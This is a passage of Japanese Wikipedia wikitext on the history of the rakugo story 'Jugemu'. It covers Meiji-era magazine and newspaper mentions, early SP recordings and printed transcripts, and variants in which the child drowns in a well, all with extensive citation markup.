** 田口卯吉は本誌『東京経済雑誌』の創設者でもある({{Cite encyclopedia|title=田口卯吉|encyclopedia=大日本人名辞書|publisher=大日本人名辞書刊行会|date=1926-06-20|page=1518|author=大日本人名辞書刊行会|url=https://dl.ndl.go.jp/info:ndljp/pid/1879535/39|edition=新版|language=ja|NCID=BN01714711|volume=下巻|location=東京|doi=10.11501/1879535|id={{NDLJP|1879535}}}})。
** この当時の同誌の持主兼印刷人は[[伴直之助]]([https://hdl.handle.net/2027/uc1.c2785659?urlappend=%3Bseq=160 東京経済雑誌224号奥付])。
</ref>。記事自体は、経済学者[[田口卯吉]]による学術論説である<ref name="鼎軒田口卯吉全集3_1928">{{Cite book|和書|title=鼎軒田口卯吉全集|publisher=鼎軒田口卯吉全集刊行会|date=1928-04-09|page=232|author=田口卯吉|author-link=田口卯吉|editor=鼎軒田口卯吉全集刊行会|language=ja|NCID=BN0695797X|chapter=22 經濟學の釋義に關して駁論諸子に答ふ|volume=3|location=東京|doi=10.11501/1243145|id={{NDLJP|1243145/134}}|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/1243145/130|url-access=registration|ref=ref={{SfnRef|『鼎軒田口卯吉全集』3|1928}}}}{{要登録}}
*本書では『經濟學の釋義に關して駁論諸子に答ふ』を田口卯吉の著として扱っている。
* 記載事項以外の補足:
** 目次p14: 題名誤記:『經濟學の釋義に關して駁論諸子に{{ママ|告ぐ}}』
** p232: ヂゲムの名に誤転記:原書「スーリキリ」→本書「スーリキ、リ」
</ref>。
1901年に再び東京経済雑誌にフルネームと意味が掲載された<ref name="東京経済雑誌19011130">復刻版書誌: {{Cite book|title=東京経済雑誌 86 明治34年10-12月 1101-1113号|publisher=日本経済評論社|date=1984-11-20|lorigyear=1901|language=ja|volume=86|location=東京|id={{NCID|AN00329943}}}}
* 原文書誌: {{Cite journal|和書|journal=[[東京経済雑誌]]|author=痴齋|title=飛鳥旅行走り書(第八)|volume=44|pages=1086-1089 (号内20-23)|date=1901-11-30|issue=1109|publisher=[[経済雑誌社]]|language=ja|id={{NCID|AN00159377}}}}
* 本記事は、1901年9月の国内視察旅行記という体裁で主義主張を語る趣向の連載物(連載開始1901年(明治34年)10月20日発行1102号p734)。今回のエピソードの中で、筆者と一緒に旅行した「小松君」がいたずらで「ジユゲンム」と名乗ったり、余興で講談などを披露する。
*p1087: 筆者「痴齋」の実名は[[伴直之助]]、[[京都鉄道]]株式会社の取締役兼支配人。
*p1087: 小松君が船会社職員に向かって:「余の姓名もまた短かからず、ジユゲンム、ジユゲンム、ゴコウノスウエキリ、カイヂヤリ、スイギヨノ、キンライマツ、ウンライマツ、クネルトコロニ、デルトコロ、アーブラコーヂ、ブラコーヂ、パイポ、パイポ、パイポノ、シユウリンガン、シユウリンガンノ、ポンポコナ、ポンポコナノ、ポンポコピ、チヤウキ、チヤウキ、チヤウキウメイノ、チヤウスケ、と申す、是れ余か名なり」
*p1087: 筆者による推測:「按ずるに『ジユゲンムジユゲンム』の話しは[[宝暦|寶暦]]、[[明和]]、[[安永]]年間の知者、風來山人平賀源内が、当世の政治に[[wikt:慊|慊]]からず、{{Interp|…}}愚を[[wikt:諷誹|諷誹]]せし[[wikt:戯作|戯作]]なり」(繰り返し記号は展開。漢字・句読点は一部現代化)。
*p1087: 各語の意味(一部の語句は名乗りの場面とは異なっている):
**「ジユゲンムとは『壽と限りなき』」
**「ゴコホノスエは『御光の末』」
**「フウライマツ、ウンライマツは『風来末、雲来末』にして、風雲の起る、予じめ其の源因を知るべからず、其の去来豪も測るべからずして、其の末、亦た際限なき」
**「カイジヤリ、スイギヨとは大海の砂利、水中の魚介、倶に取れとも終に尽きざるなり」
**「パイポ、シユウリンガン、ポンポコナ、ポンポコピ、は皆な天竺の最も長命なりし執政者と、その子孫の姓名」
**「長喜、長久命の長助」
* 記載事項以外の補足:
** 本記事に「ジユゲンムジユゲンムの話」の粗筋はない。引用元も記されていない。
** 筆者[[伴直之助]]は東京経済雑誌の元「持主」で、創設者[[田口卯吉]]の[[いとこ]]({{Cite journal|和書|journal=出版研究|year=1975|title=巌本善治の出版活動|volume=6|page=166|last=磯崎<!--いそざき-->|first=嘉治<!--よしはる-->|language=ja|DOI=10.24756/jshuppan.6.0_160|ISSN=2434-1398}})。
</ref>。筆者[[伴直之助]]は、『寿限無』の作者は風来山人すなわち[[平賀源内]]だと推測しているが<ref name="東京経済雑誌19011130" />具体的な証拠は挙げていない。
1912年の新聞に、当時89歳だった[[林家正童]](五代目林家正蔵、1824年生<ref name="NDLauth_林屋正蔵5世">{{Cite web|和書|url=https://id.ndl.go.jp/auth/ndlna/00510549 |title=林屋, 正蔵 5世, 1824-1923 |accessdate=2022-02-23 |website=国立国会図書館典拠データ検索・提供サービス |language=ja}}</ref>)の伝記が掲載された<ref name="怪談の正童_1912" />。正童が18歳で[[林家正蔵#2代目|二代目林家正蔵]](通称「托善正蔵」、一説に1858年没{{r|"怪談の正童_1912"|page=(第4回)}})に入門して芸名「正橋」だった時代に、「{{読み仮名|寿限無寿限無|じげむじげむ}}」を稽古したという<ref name="怪談の正童_1912">読売新聞連載記事「怪談の{{読み仮名|正童|しょうどう}}」計9回。林家正藏(自称四代目)の伝記。
* {{Cite news|title=怪談の正童(1)|newspaper=[[読売新聞]] 朝刊|date=1912-04-08|author=ふく生|page=3|language=ja|ref={{SfnRef|怪談の正童(1)|1912}}}}
** 副題に「八十九歳の老落語家」
** 先ごろ、八十九歳の林家正藏改め正童となった。
** 正童の幼名は米三郎。
** 米公が弟子入りしたのは二代目林家正藏。[[千住]]の[[隠亡]]の寺の坊さんで通称「托善正藏」。
** 米公が正藏に弟子入りしたのは18歳のとき。
* {{Cite news|title=怪談の正童(2)|newspaper=[[読売新聞]] 朝刊|date=1912-04-09|author=ふく生|page=3|language=ja|ref={{SfnRef|怪談の正童(2)|1912}}}}
** 正童の前座に出たときの名は{{読み仮名|正橋|しょうきょう}}。
** 正橋は「一生懸命に落語の稽古をやった{{読み仮名|壽限無|じげむ}}壽限無などは堂に入ったものだった、それに感心した林家正藏が『{{Interp|…}}跡取りにしてやろう』と、子にしてくれて、いよいよ本職になった。」
** やがて「正橋はちょうど生意気盛り。安政頃の二十二の年に、いつまでも前座でもあるまいと江戸を飛び出した。ドサ歩きというやつで{{Interp|…}}」。
* {{Cite news|title=怪談の正童(4)|newspaper=[[読売新聞]] 朝刊|date=1912-04-11|author=ふく生|page=3|language=ja}}
** 正橋は江戸に帰ると、養父の托善正藏は既に安政5年菊月に死去していた。名人左楽などが勝手に正藏を名乗っていた。正橋は再び田舎稼ぎに出る。
* {{Cite news|title=怪談の正童(5)|newspaper=[[読売新聞]] 朝刊|date=1912-04-12|author=ふく生|page=3|language=ja}}
** 養父正藏の弟子正楽が正統三代目正藏を襲名。
* {{Cite news|title=怪談の正童(7)|newspaper=[[読売新聞]] 朝刊|date=1912-04-14|author=ふく生|page=3|language=ja}}
** 正橋は正鱗に改名。
* {{Cite news|title=怪談の正童(9)|newspaper=[[読売新聞]] 朝刊|date=1912-04-17|author=ふく生|page=3|language=ja|ref={{SfnRef|怪談の正童(9)|1912}}}}
** 正統三代目正藏が明治12年に死去。
** 正鱗はしばらく勝手に正藏を名乗り、後に正式に四代目正藏を襲名。
** 今は20歳代の若い妻と5歳の子がある「八十五歳の爺さん」。
* 記載事項以外の補足:
** 正橋が前座をやめて出奔する「安政頃の二十二の年」という記述は矛盾がある。1824年生で22歳は1845年頃という計算になるが、[[安政]]はおよそ1855年から1860年の間である。しかしいずれにせよ19世紀中旬である。
</ref>。この逸話が本当なら、『寿限無』は19世紀中旬には存在していたことになる。
興行の古い記録としては、1901年の新聞の興行予定欄に「落語{{読み仮名|寿限無|ずげんむ}}…」という演目が見える<ref name="北國新聞19010904">{{Cite news|title=新富座|newspaper=[[北國新聞]]|date=1901-09-04|page=3|language=ja}}(明治34年)
*「[[春風亭柳枝 (4代目)|小柳枝]]一座音曲落語{{Interp|…}}今晩(二日目)の番組は{{Interp|…}}落語{{読み仮名|壽限無|ずげんむ}}元祖升踊引抜きカッポレ踊人形振り({{Interp|演者:}}柳仙)」<!--出典の糸口:[http://blog.livedoor.jp/bunnzaemon/archives/37112198.html 上方落語史料集成 明治34年(1901)9月] --></ref>。
=== 『寿限無』全文記録 ===
全文の古い記録としては、1910年代の録音および本が数点ある。
[[蝶花楼馬楽 (3代目)]](1914年没<ref name="都家歌六1987B" />)は『寿限無』の[[SPレコード]]を2種類出しているが、落ちが別々である。1911年頃発売の[[RCAビクター|アメリカ・ビクター]]版<ref name="昭和戦前面白落語全集 東京篇2006">{{Cite book|和書|title=昭和戦前面白落語全集 東京篇|chapter=解説書|publisher=エニー|year=2006|page=163|editor=日本音声保存|editor2=都家歌六(監修)|editor2link=都家歌六|editor3=岡田則夫(監修)|editor3link=岡田則夫|language=ja|isbn=9784901708968|NCID=BA79536201|id={{JPNO|21346026}}}}
* p163引用: 演者名 三代目蝶花楼馬楽; 演題:レーベル『貴限無』{{ママ}} 一般名称『寿限無』; 使用レコード:レーベル 米ビクター 番号 50044 マトリックスNo.50044A; 初出盤 レーベル 米ビクター 番号 50044 発売年月 1911; タイム 02:05
</ref>は、落ちが「あんまり名前が長いもんだから瘤が治っちまったよ」で終わる<ref group="F" name="昭和戦前面白落語全集2006_蝶花楼馬楽_寿限無">{{Cite AV media|title=(録音)貴限無(一般名称『寿限無』)|year=2006|origyear=1911|volume=東京篇 特別盤(16)|author=三代目蝶花楼馬楽|authorlink=蝶花楼馬楽 (3代目)|language=ja|work=昭和戦前面白落語全集 東京篇|publisher=エニー|isbn=9784901708968|id=ANOC 7027}}
* 音声(付録CD-ROM):
** 出だし:「いるかい?」「お前さんお帰りかい」「今かえって来たい」
** フルネーム4回中の1回目:「じゅげむじゅげむ、ごこのすりきれ<!--「ず」ではない-->、かいじゃりすいぎょの、すいぎょうばつ、うんぎょうばつ、ふうらいばつ、うーねるところ<!--「くうねる」ではない-->にすむところ、やーぶらこうじのぶらこうじ、パイポパイポパイポのシューリンガン、シューリンガンのグーリンダイ、グーリンダイのポンポコナー、ポンポコピーの、ちょうきゅうめいのちょうすけ」
** 末尾:「おじさん、あんまり名前が長いもんだからね、瘤が治っちまったよ。」「たいへんにおめでたいお話。終わります。」
</ref>。他方、1912年以前に発売されたアメリカン([[日本コロンビア|日米蓄音器商会]])版<ref name="日本蓄音器191205">レコードのカタログ: {{Cite book|和書|title=新音譜 明治45年5月|publisher=日本蓄音器商会|year=1912|page=65|url=https://dl.ndl.go.jp/info:ndljp/pid/11697670/39|language=ja|doi=10.11501/11697670|id={{NDLJP|11697670}}}}</ref><ref name="都家歌六1987B">{{Cite book|和書|title=落語レコード八十年史|publisher=国書刊行会|date=1987-11-30|pages=40-44|author=都家歌六|authorlink=都家歌六#8代目|language=ja|volume=下巻|location=東京|ref={{SfnRef|『落語レコード八十年史 下巻』|1987}}}}
* 本書における「寿限無」最古出現はp44 三代目・蝶花楼馬楽 ディスコグラフィ
**「[[RCAビクター|米国ビクター]]両面盤 50044 長屋花見/寿限無」
**「アメリカン([[日本コロンビア|日米蓄音器商会]])(明治42年頃)2097 長屋の花見, 2098 寿限無」(明治42年=1909年)
* p40: 三代目・蝶花楼馬楽は明治31年襲名、明治43年発狂、大正3年死去。
* p448: 二代目立花家花橘 ビクター 50967.8『寿限無(二枚)(昭4.12)』
</ref><ref name="都家歌六1987A">{{Cite book|和書|title=落語レコード八十年史|publisher=国書刊行会|date=1987-11-30|pages=54-56|author=都家歌六|authorlink=都家歌六#8代目|language=ja|volume=上巻|location=東京}}
* p54: 米国ビクターのレコードは明治41年に日本に初輸入された。
** p56: 明治末期から大正初期にかけての米国ビクター両面盤の一覧中に、「三代目蝶花楼馬楽 50044 長屋花見/寿限無」
* pp69-70: 日米蓄音器製造は明治42年から国産レコードを発売した。明治43年に日本蓄音器商会に社名変更。当時のレーベルは「アメリカン」など5種類。大正4年にすべて両面盤となった。
** p72: 日米蓄音器商会・日本蓄音器商会 片面盤「三代目蝶花楼馬楽 長屋の花見 2097, 寿限無 2098」
* p83: 「駱駝印オリエント」ブランドには2系統ある: 京都の東洋蓄音器株式会社系(大正1年(1912年)から大正6年(1917年))と、京都の東洋蓄音器合資会社系(大正3年(1914年)から昭和4年(1929年))。
** p90: 駱駝印オリエント(2)(東洋蓄音器合資会社系)二代目立花家花橘『長名(二枚)2411・2』
* p205: [[日本ビクター]]の創立 二代目立花家花橘『寿限無(二枚)({{Interp|発売年月:昭和}}4.12) 50967.8』
</ref>は、「瘤が治っちまった」の後に寿限無が井戸へ落ちるエピソードが続く<ref group="F" name="日本蓄音器文句全集1913_寿限無">{{Cite book|和書|title=日本蓄音器文句全集|publisher=日本蓄音器文句全集発行所|date=1913-12-12|pages=460-462|edition=大正二年版|language=ja|chapter=壽限無 日蓄二〇九八 東京 蝶花樓馬樂|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/1907049/246|id={{NDLJP|1907049}}, {{JPNO|86090057}}}}{{要登録}}
* pp460-462
** 「壽限無」のふりがなは「しけむ」や「じけむ」と書いてある。
** 先頭:「ヱー極御目出度い話を一席お聴きに入れます」「御前さん御帰りかえ」「ウ、今かえって来たい」
** 名前6回中の1回目:「{{読み仮名|壽限無|しけむ}}壽限無ゴコノフーリキレイ カイガルツンギヨノ ツンギヨバツ ウンギヨバツ フーライバツ スメルトコロスムトコロニ アーブラコーヂブラコーヂ パイポパイポパイポノ チーリンガイ チーリンガイノ フーリンライ フーリンライノ ポンポコナ ポンポコチーノ 長久命の長助」
** 途中:「名が長いもんだから瘤が治っちまった。」「馬鹿馬鹿しい話があるもんで、さー井戸でもおっこちりゃーさわぎだどうも」
** 末尾:「井戸へおっこった大変だなどうもそいつは。」
* 本書の複製版: {{Cite book|和書|title=大正期SP盤レコード 芸能・歌詞・ことば全記録|volume=第1巻|publisher=大空社|origyear=1913|date=1996-10-26|pages=460-462|language=ja|chapter=壽限無 日蓄二〇九八 東京 蝶花樓馬樂|isbn=4756803202}}
</ref>。
馬楽は噺の中で、名前の出典は『神仏穴探し』という本だと説明していたという<ref name="長尾豊1932">{{Cite book|和書|title=伝説民話考|publisher=成光館書店|edition=昭和9年(1934)再版|date=1932-10-25|pages=341-349|last=長尾|first=豊|url=https://dl.ndl.go.jp/info:ndljp/pid/1465988/178|language=ja|chapter=長い名前|location=東京|doi=10.11501/1465988|id={{NDLBibID|000000764230}}|ref={{SfnRef|長尾豊|1932}}}}
*p342:長野県「…ひやくきずんぎり…」←元論文(1914年)の復刻版(1975年)では「…ひちくきずんぎり…」。
*pp345-346: 信濃の「てきてきおん坊」紹介。
*p346:「流れたり沈んだりする話は、壽限無のやうな名前ではうつらない。」「{{Interp|落語の壽限無には}}別に井戸へ落ちる話があり、昔、三遊の圓六が話すのを聞いたが、名附親を清正公様の坊さんにして、長い名前は自我偈を使ってゐた。」
*p347:「故人馬楽に此の話を聞いた時は、名前を附けるのに『神佛穴探し』といふ本に據ると話した。浅学にしてさういふ書物があるかどうか、今だ{{ママ}}に調べても見ないが、何だかありさうにも思はれないので、それで探しても見ない。」
*本章は越原富雄名義1914年の論文に大幅加筆したもの。元論文: {{Harvtxt|越原富雄|1914}}
**「越原富雄」は作家 長尾豊(1899生-1936没)のペンネーム({{Kotobank|長尾 豊|20世紀日本人名事典(日外アソシエーツ)}})。
</ref>(レコードにはそのような文言はない)。三代目三遊亭金馬(1894年生<ref name="NDLauth_三代目三遊亭金馬">{{Cite web|和書|url=https://id.ndl.go.jp/auth/ndlna/00067114 |title=三遊亭, 金馬 3代目, 1894-1964 |accessdate=2022-02-23 |website=国立国会図書館典拠データ検索・提供サービス |language=ja}}</ref>)も、先輩落語家が『寿限無』で『神仏穴探し』という本を取り出したと記している{{r|"三遊亭金馬1993"|page=94}}。「穴探し」とは粗探しのことである<ref>{{Cite Kotobank|word=穴探|encyclopedia=精選版 日本国語大辞典|accessdate=2021-11-17}}</ref>。この本の実在を疑う者もあるが<ref name="長尾豊1932" />{{r|"三遊亭金馬1993"|page=94}}、少なくとも同題名の[[講談|講釈]]は存在した形跡がある。ひとつは1824年頃の、講釈師 為永正助([[為永春水]]の別名<ref name="中村幸彦1983" />)と[[林家正蔵#初代|初代林屋正藏]]の連名による『神仏俗書穴さがし』の広告である<ref name="中村幸彦1983">{{Cite book|和書|title=中村幸彦著述集|publisher=中央公論社|date=1983-08-25|pages=251-252|last=中村|first=幸彦|author-link=中村幸彦|language=ja|chapter=4-8 舌耕文芸家春水|volume=第10巻 舌耕文学談|location=東京|id={{JPNO|83051445}}}}
* [[為永春水]]が著した物語本『軒並娘八丈』巻末に『神仏俗書穴さがし』という演目の寄席広告がある。フィクションの中の広告ではあるが、中村はこれを為永正助(為永春水)と初代林屋正藏の関係を示す考証史料としている。</ref><ref name="Nokisaki1817">『軒並娘八丈』原書: {{Cite book|和書|title=帯屋白木屋/軒並娘八丈|publisher=|year=1817|at=画像295枚の内193枚目|author=二代目南杣笑楚満人|author-link=為永春水|accessdate=2022-07-05|language=ja|chapter=中巻末挿絵広告|url=https://www.dh-jac.net/db1/books/results1280.php?f1=hayBK03-0831&enter=portal&lang=ja&max=1&skip=192&enter=portal&lang=ja<!--Permalinkは表示不良: https://www.dh-jac.net/db1/books/hayBK03-0831-01/portal/192/ -->|chapterurl=https://www.arc.ritsumei.ac.jp/archive01/theater/image/PB/arc/Books/hayBK/hayBK03-0831/hayBK03-0831-01/hayBK03-0831-01_49.jpg|quote=神佛俗書穴さがし 畠山重忠堀川清談 かうし 為永正助 ひのべ。林屋正藏|website=立命館大学|archive-url=https://web.archive.org/web/20211229101134/https://www.arc.ritsumei.ac.jp/archive01/theater/image/PB/arc/Books/hayBK/hayBK03-0831/hayBK03-0831-01/hayBK03-0831-01_49.jpg|archive-date=2021-12-29}}(文化7年)
**本書の翻刻(ただし為永正助の挿絵広告はない): {{Cite book|和書|title=錦の帯屋雪の白木屋軒並娘八丈・秋色染話萩の枝折|publisher=人情本刊行会|date=1926-08-25|author=南仙笑楚満人|author-link=為永春水|editor-last=村上|editor-first=静人|editor-link=村上静人|edition=再版|language=ja|location=東京|doi=10.11501/1018461|id={{JPNO|43050624}}}}</ref>。もうひとつは、1850年代の石川齋萬丸という噺家の滑稽談議『神仏穴さがし』<ref>{{Cite book|和書|title=本朝話人伝|publisher=協栄出版社|date=1944-04-20|page=89|author=野村無名庵|author-link=野村無名庵|language=ja|location=東京|doi=10.11501/1031804|id={{NDLJP|1031804/49}}}}
*[[安政]]5年(1858年)出版の[[軍談]]番付表『軍談一本槍』に『神佛穴さがし』石川齋萬丸</ref>が人気を博したという記録である<ref>{{Cite book|和書|title=講談史料集成|publisher=和泉書院|date=2004-11-25|page=33|last=菊池|first=真一|language=ja|chapter=軍書講釈并神道心学辻談議之事歴 関根只誠 著|volume=3巻|location=大阪|id={{JPNO|20706726}}}}
*本章は19世紀中期の演芸評論家[[関根只誠]]が作成した資料の翻刻。
**該当箇所概要: 石川斎万丸 最初は街頭で神仏のおどけ噺をしていた。後に寄席へ出たり、「神仏穴さがし」と看板を掲げてずいぶん興行していたが、最近は音沙汰が無い。</ref>。
書面での『寿限無』の全文記録としては、1912年発行の[[三遊亭福圓遊]]の口演筆記『滑稽百面相』<ref group="F" name="三遊亭福圓遊1912_寿限無">{{cite book|和書|author=三遊亭福円遊|authorlink=三遊亭福圓遊|title=滑稽百面相|chapter=寿限無|date=1912-06-07|language=ja|publisher=三芳屋|pages=57-65|doi=10.11501/891285|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/891285/37|id={{NDLJP|891285}}}}
*本文題名のふりがなは「じゆげんむ」だが本文内では「じゆげむ」となっている。
*p57:イントロ「お目出度お話を申上げます」
*{{Wikisource-inline|寿限無}}
</ref>、1916年の五代目<ref group="F" "落語名作全集立風書房1968_寿限無">{{Cite book|和書|title=落語名作全集|publisher=立風書房|date=1968-01-10|pages=18-19|editor-last=小島|editor-first=貞二|editor-link=小島貞二|language=ja|NCID=BN11523833|chapter=寿限無 かいせつ|volume=4|doi=10.11501/1668192|id={{NDLJP|1668192}}|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/1668192/14|url-access=registration}}{{要登録}}
* p4: 九代目桂文治の略歴
* pp5-18:桂文治『寿限無』本文
* pp18-20:かいせつ
** pp18-19「ウンとかわっているのに、こういうのがある。『寿限無寿限無、御光の摺れ切れ、海砂利水形、雲形鉢、{{Interp|…}}』{{Interp|…}}これが{{Interp|…}}関東大震災の折り被災死した五代目麗々亭柳橋の『寿限無』である。」
</ref>[[麗々亭柳橋 (5代目)|麗々亭柳橋]]の口演筆記<ref group="F" name="麗々亭柳橋1916">{{Cite book|和書|title=落語名人会|publisher=日吉堂書店|date=1916-10-19|pages=366-385|author=麗々亭柳橋|authorlink=麗々亭柳橋|language=ja|chapter=寿限無|location=東京|doi=10.11501/908437|id={{NDLJP|908437}}|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/908437/194|url-access=registration}}{{要登録}}
* ふりがな (p383): じげむ、じげむ、ごこうのすうりきれ、かいじやり、すゐぎよう、うんぎよばち、ふうらいばち、くふねるところにすむところ、ああぶらこうじぶらこうじ、ぱいぷ、ぱいぷぱいぷのしゆりけ、しゆりけのくうりんだい、くうりんだいのぷんぷくなあ、ぷんぷくなあにぷんぷくぴい、ちやうきうめいのちやうすけ
* 文字 (p383): 壽限無、壽限無、御光の摺切れ、海砂利水形、雲形鉢、風來鉢、喰ふ寝る所に住む所、噫吊柑子吊柑子、貝布、貝布、貝布の朱裏家、朱裏家の倶林臺、倶林臺の文福男、文福男に文福女、長久命の長助
* p385:「いつやら瘤も引込んでしまったんだよ」
* 「おめでたい話」のようなイントロやアウトロは無い。
</ref>など<ref group="F" name="日本蓄音器文句全集1913_寿限無" /><ref group="F" name="演芸画報1918_玉輔">{{Cite book|和書|title=復刻版 演芸画報|publisher=不二出版|date=1988-07-25|orig-year=1918|language=ja|NCID=AN10068686|chapter=第5年第2号(大正7年2月1日発行)『玉輔の「壽限無」』|volume=第7回配本(大正篇第33-38巻)|id=(書籍扱){{NCID|BA60290580}} {{JPNO|00030022}}|at=号内pp135-137}}
*原書書誌: {{Cite journal|和書|journal=[[演芸画報]]|author=森の舎主人|title=[[五明楼玉輔|玉輔]]の『壽限無』|volume=5|date=1918-02-01|issue=2|pages=135-137|publisher=演芸倶楽部|language=ja|location=東京|id={{NCID|AN00271184}} {{JPNO|00032148}}}}
* 依頼先:隠居。落ち:「瘤がひッこんじまったんだ!」。
</ref>がある。
{{Verse translation|lang=ja|<!--original text-->{{読み|寿限無|じゅげむ}} {{読み|寿限無|じゅげむ}}<!--ルビ({{ruby}})は、コピーペーストおよび文書内検索ができないため不採用-->
{{読み|五光|ごこう}}のすりきれず
{{読み|貝砂利|かいじゃり}}{{読み|水魚|すいぎょ}}の
{{読み|水行末|すいぎょうばつ}}
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ポンポコナーの
{{読み|長久命|ちょうきゅうめい}}の{{読み|長助|ちょうすけ}}
|<!--translation-->じゅげむじゅげむ
ごこうのすりきれず
かいじゃりすいぎょの
すいぎょうばつ
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やーぶらこうじのぶらこうじ
ぱいぽぱいぽ
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ぐーりんだいのぽんぽこぴー
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ちょうきゅうめいのちょうすけ
| attr1 = 三遊亭福円遊(1912年)<ref group="F" name="三遊亭福圓遊1912_寿限無" />(現代仮名遣い・新字体化)}}
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|<!--original text-->
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じげむじげむ
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かいじゃりすいぎょう
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ちょうきゅうめいのちょうすけ
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=== 「めでたい話」 ===
『寿限無』は「めでたい話」である<ref group="F" name="昭和戦前面白落語全集2006_蝶花楼馬楽_寿限無" />{{r|group="F"|"三遊亭福圓遊1912_寿限無"|page=57}}{{r|"三遊亭金馬1993"|page=85}}。また内容が無難なので[[正月#日本の正月|正月]]のめでたい席や子供向けにも適した<ref name="読売新聞19350101">{{cite news|title=松ノ内笑話 - 桂文治君|newspaper=読売新聞 朝刊|date=1935-01-01|page=9|language=ja}}
*[[桂文治 (8代目)]]が記事より20年程度前、[[翁家さん馬]]を名乗っていた頃の逸話談。正月に華族の屋敷に呼ばれた。ご婦人と子供衆の前で話す演題を選ぶにあたり、女郎買い噺も泥棒噺も不適当だから『寿限無』を選定した。
</ref>。たとえば1906年に[[保育所]]への正月慰問の演題に選ばれた<ref name="毎日新聞19060109">例: {{cite news|title=慈善食卓(第四日) - 報効会北保育所|newspaper=大阪毎日新聞|date=1906-01-09|edition=2|at=p7,5段目|language=ja|quote=[[三遊亭一圓遊|一円遊]]のジゲンムといふ話で又々元の笑声と化して}}(明治39年)
*大阪毎日新聞の記念慈善活動の一環として、正月に大阪の芸人たちが各所の[[保育所]]等へ慰問上演した様子を報じた記事。<!--出典の糸口:[http://blog.livedoor.jp/bunnzaemon/archives/38344014.html]-->
</ref>。のちにラジオ放送でもめでたい演目として演じられた<ref name="読売新聞19260108" />。
=== 井戸で溺れるバージョン ===
古い類話の子たち、「あのくたら…」や「てきてきに…」は溺れてしまう。対照的に『寿限無』では溺れる場面はない。1914年時点でも「(寿限無に殴られた子の)瘤が引っ込んでしまった」という落ちが主流だった{{r|"越原富雄1914"|page=215}}。しかし1914年刊『落語の落』によれば、子が井戸に転落するバージョンもあった。子が救出されて、父親が「おお、寿限無寿限無…」と呼びかけると医者が「コレコレまだお経には早うござる」と諫める、というサゲだったという<ref name="海賀変哲1914" />。
いっぽう三代目三遊亭金馬は1959年の著書に、大阪では「寿限無寿限無」が「だだぶ だぶだぶ」と溺れ死ぬという落ちだと記している。「先日亡くなった[[三語楼]]」もこの落ちで演じていたという。{{r|"三遊亭金馬1993"|page=85}}。こちらの落ちは、「あにまにまにままね…」の野口復堂による描写と一致する。
寿限無が溺れるバージョンの全文記録としては、三代目蝶花楼馬楽の2種の録音のうちの一つがある。ただ、これは「長助さんが井戸へ落こった。大変だなどうもそいつは」だけで、結末も落ちもなく終わってしまう<ref group="F" name="日本蓄音器文句全集1913_寿限無" />。
「めでたい話」である『寿限無』で溺れ死ぬことには、抵抗を感じる落語家もいる{{r|"三遊亭金馬1993"|page=85}}。越原富雄(作家 長尾豊(1889年生))は、ストーリーによって名前の使い分けがあると推測した。例として、「三遊の圓六」は井戸落ち噺の主人公の名を『自我偈』から採用したという<ref name="越原富雄1914">{{Cite journal|和書|journal=郷土研究|year=1914|title=長い名を附けられた人|volume=2|pages=215-217|last=越原|first=富雄|issue=2|publisher=郷土研究社|language=ja|location=東京|ref={{SfnRef|越原富雄|1914}}}}
* 参照した復刻版: {{Cite book|title=郷土研究(全六冊)第二冊(復刻版)|publisher=名著出版|date=1975-11-22|language=ja|volume=2|location=東京}}
** 巻内pp215-216 (号内pp23-24):「現在行はれて居るジゲム落語のおちは『餘り名が長いから瘤が引込んでしまつた』と言ふのだが、ジゲムが井戸へ落ちると云ふ式もあるらしく、現に三遊の圓六がこの方を用ゐて居る。此は別に夫相應の長い名の主人公のあるべき譯である。圓六などは名附親を清正公様の坊主にして、長い名は自我偈を使つて居る。」
* 記載以外の補足:
**「三遊の圓六」が採用したという具体的な子の名前は記載していない。
**「越原富雄」は作家 長尾豊(1899生-1936没)のペンネーム({{Kotobank|長尾 豊|20世紀日本人名事典(日外アソシエーツ)}})。
** 本論文は1934年に、大幅増改のうえで長尾豊名義で『伝説民話考』{{Harv|長尾豊|1932}}に収載されている。名前の使い分け説はp346だが、本論文と説明が異なる。
</ref>。『自我偈』(じがげ)は法華経の中の[[如来寿量品第十六]]の中の一節である<ref>{{Cite Kotobank|word=自我偈|encyclopedia=精選版 日本国語大辞典(小学館)|accessdate=2021-12-09}}</ref>。「あにまにまにままね…」と同じく、法華経から引用している。
後世の[[童話]]等であれば、寿限無が溺れるバージョンは存在する。たとえば1932年の小学生用[[副読本]]がある<ref group="F" name="小学童話新読本5年生1932">{{Cite book|和書|title=小学童話新読本 5年生|publisher=日本図書|date=1932-01-01|pages=157-163|editor-last=千葉|editor-first=省三|editor-link=千葉省三|language=ja|chapter=長い名|editor2-first=中山|editor2-last=清左|doi=10.11501/1717920|id={{NDLJP|1717920}}|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/1717920/85}}</ref>。
=== 無量寿経説 ===
寿限無の名は[[無量寿経]]が起源だとする説がある<ref name="関山1978">{{Cite book|和書|title=説教の歴史 - 仏教と話芸 -|publisher=岩波書店|date=1978-11-20|page=108|last=関山|first=和夫|author-link=関山和夫|series=岩波新書(黄版)64|language=ja|id={{JPNO|79004845}}}}<!--[[関山和夫]](1929年生)-->
* p108引用:「{{Interp|…}}「寿限無」は『無量寿経』に発する珍名の命名である。」
</ref>。無量寿経から文字を取るという設定は、例えば1929年の[[柳家つばめ]]版にある<ref group="F" name="柳家つばめ1929">{{Cite book|和書|title=落語全集|author=柳家つばめ|authorlink=柳家つばめ|editorlast1=野間|editorfirst1=清治|editorlink1=野間清治|year=1929|chapter=寿限無|volume=中|pages=529-545|publisher=[[大日本雄弁会講談社]]|language=ja|ncid=BN06711244|oclc=1183263853|quote=p538:無量壽経などといふ、経文の中の文字では何うぢゃな}}(昭和4年)
* 再刻版: {{Cite book|和書|title=落語全集|publisher=大日本雄弁会講談社|date=1954-10-25|pages=216-229|author=柳家つばめ|authorlink=柳家つばめ|language=ja|chapter=寿限無|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/1662341/114|volume=2 竹の巻|edition=第3版|origyear=1929|location=東京|id={{NDLJP|1662341}}|url-access=registration|ncid=BN06923730|oclc=835755535}}{{要登録}}(昭和29年)
